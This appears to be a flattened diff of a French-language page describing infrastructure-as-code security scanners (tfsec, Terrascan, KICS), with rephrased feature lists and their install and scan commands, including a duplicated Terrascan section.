🧰 Compatible avec le Terraform CDK -- 🙅 Applique (et embellit) les politiques Rego définies par l'utilisateur -- 📃 Prend en charge plusieurs formats de sortie : lovely (par défaut), JSON, SARIF, CSV, CheckStyle, JUnit, texte, Gif. -- 🛠️ Configurable (via des drapeaux CLI et/ou un fichier de configuration) -- ⚡ Très rapide, capable de scanner rapidement d'énormes dépôts +- 🧰 Compatible avec Terraform CDK +- 🙅 Applique (et enrichit) les politiques Rego définies par l'utilisateur +- 📃 Prend en charge plusieurs formats de sortie : lovely (par défaut), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. +- 🛠️ Configurable (via des flags CLI et/ou un fichier de config) +- ⚡ Très rapide, capable d'analyser rapidement d'énormes dépôts ```bash brew install tfsec tfsec /path/to/folder ``` +### [terrascan](https://github.com/tenable/terrascan) + +Terrascan est un analyseur statique de code pour Infrastructure as Code. Terrascan vous permet de : + +- Scanner en toute transparence l'infrastructure as code pour détecter les erreurs de configuration. +- Surveiller l'infrastructure cloud provisionnée pour les modifications de configuration qui entraînent une dérive de posture, et permettre de revenir à une posture sécurisée. +- Détecter les vulnérabilités de sécurité et les violations de conformité. +- Atténuer les risques avant de provisionner l'infrastructure cloud native. +- Offre la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD. +```bash +brew install terrascan +terrascan scan -d /path/to/folder +``` ### [KICKS](https://github.com/Checkmarx/kics) -Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure en tant que code avec **KICS** de Checkmarx. +Détectez les vulnérabilités de sécurité, les problèmes de conformité et les mésconfigurations d'infrastructure dès les premières étapes du cycle de développement de votre infrastructure-as-code avec **KICS** de Checkmarx. -**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, il est open source et est indispensable pour tout projet cloud natif. +**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, c'est open source et un incontournable pour tout projet cloud natif. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Dans les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de : +From the [**docs**](https://github.com/tenable/terrascan): Terrascan est un analyseur statique de code pour Infrastructure as Code. Terrascan vous permet de : -- Scanner sans effort l'infrastructure en tant que code pour des erreurs de configuration. -- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent une dérive de posture, et permet de revenir à une posture sécurisée. -- Détecter des vulnérabilités de sécurité et des violations de conformité. -- Atténuer les risques avant de provisionner une infrastructure cloud native. -- Offrir la flexibilité de fonctionner localement ou de s'intégrer à votre CI\CD. +- Scanner de façon transparente l'Infrastructure as Code pour détecter les mauvaises configurations. +- Surveiller l'infrastructure cloud provisionnée pour détecter les changements de configuration qui entraînent du posture drift, et permettre de revenir à une posture sécurisée. +- Détecter les vulnérabilités de sécurité et les violations de conformité. +- Atténuer les risques avant de provisionner l'infrastructure cloud native. +- Offre la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD. ```bash brew install terrascan ```